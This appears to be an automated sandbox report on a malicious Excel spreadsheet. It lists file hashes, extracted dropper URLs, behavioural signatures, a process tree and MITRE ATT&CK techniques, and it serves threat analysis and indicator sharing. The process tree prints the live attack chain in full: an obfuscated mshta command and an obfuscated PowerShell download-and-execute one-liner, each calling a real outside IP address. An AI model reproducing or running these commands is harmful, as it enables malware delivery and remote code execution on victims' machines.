2bc45370dd6eed0f3059fe82bd82d8aeca954819c9ad8ea823d36a8e01c7e92c

General

Target
29715e87b5c27e3c1cccb17a3090b311.xls
Size 142KB
Sample220120-ss3cwsaea4
SHA256 2bc45370dd6eed0f3059fe82bd82d8aeca954819c9ad8ea823d36a8e01c7e92c
MD5 29715e87b5c27e3c1cccb17a3090b311
SHA1 5dd1463850abe29a2ae7d92b9e3f360e24006e5c
SHA512 09178cdc76406a0a386df42038be61e4699c0f468f11f81b959f18deccab98c62dea7bc1583e7e95f282b699c0da7befcfb0d84ddc57f40fcbeba1656a47cfc7
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3324	3928	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
35	3352	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3900	3352	WerFault.exe	63

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3928	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3928	EXCEL.EXE
3928	EXCEL.EXE
3928	EXCEL.EXE
3928	EXCEL.EXE
3928	EXCEL.EXE
3928	EXCEL.EXE
3928	EXCEL.EXE
3928	EXCEL.EXE
3928	EXCEL.EXE
3928	EXCEL.EXE
3928	EXCEL.EXE
3928	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3928 wrote to memory of 3076	3928	EXCEL.EXE	59
PID 3928 wrote to memory of 3076	3928	EXCEL.EXE	59
PID 3928 wrote to memory of 3324	3928	EXCEL.EXE	61
PID 3928 wrote to memory of 3324	3928	EXCEL.EXE	61
PID 3324 wrote to memory of 3352	3324	cmd.exe	63
PID 3324 wrote to memory of 3352	3324	cmd.exe	63

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\29715e87b5c27e3c1cccb17a3090b311.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3928
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3076
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3324
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:3352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:996
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3352 -s 1728
      4⤵
      Program crash
      PID:3900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3568

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 3352 -ip 3352
1⤵
PID:828

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3928-130-0x00007FFF6D450000-0x00007FFF6D460000-memory.dmp

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memory/3928-132-0x00007FFF6D450000-0x00007FFF6D460000-memory.dmp

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memory/3928-131-0x00007FFF6D450000-0x00007FFF6D460000-memory.dmp

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memory/3928-133-0x00007FFF6D450000-0x00007FFF6D460000-memory.dmp

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memory/3928-134-0x00007FFF6D450000-0x00007FFF6D460000-memory.dmp

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memory/3928-137-0x00007FFF6AFC0000-0x00007FFF6AFD0000-memory.dmp

Download

memory/3928-138-0x00007FFF6AFC0000-0x00007FFF6AFD0000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads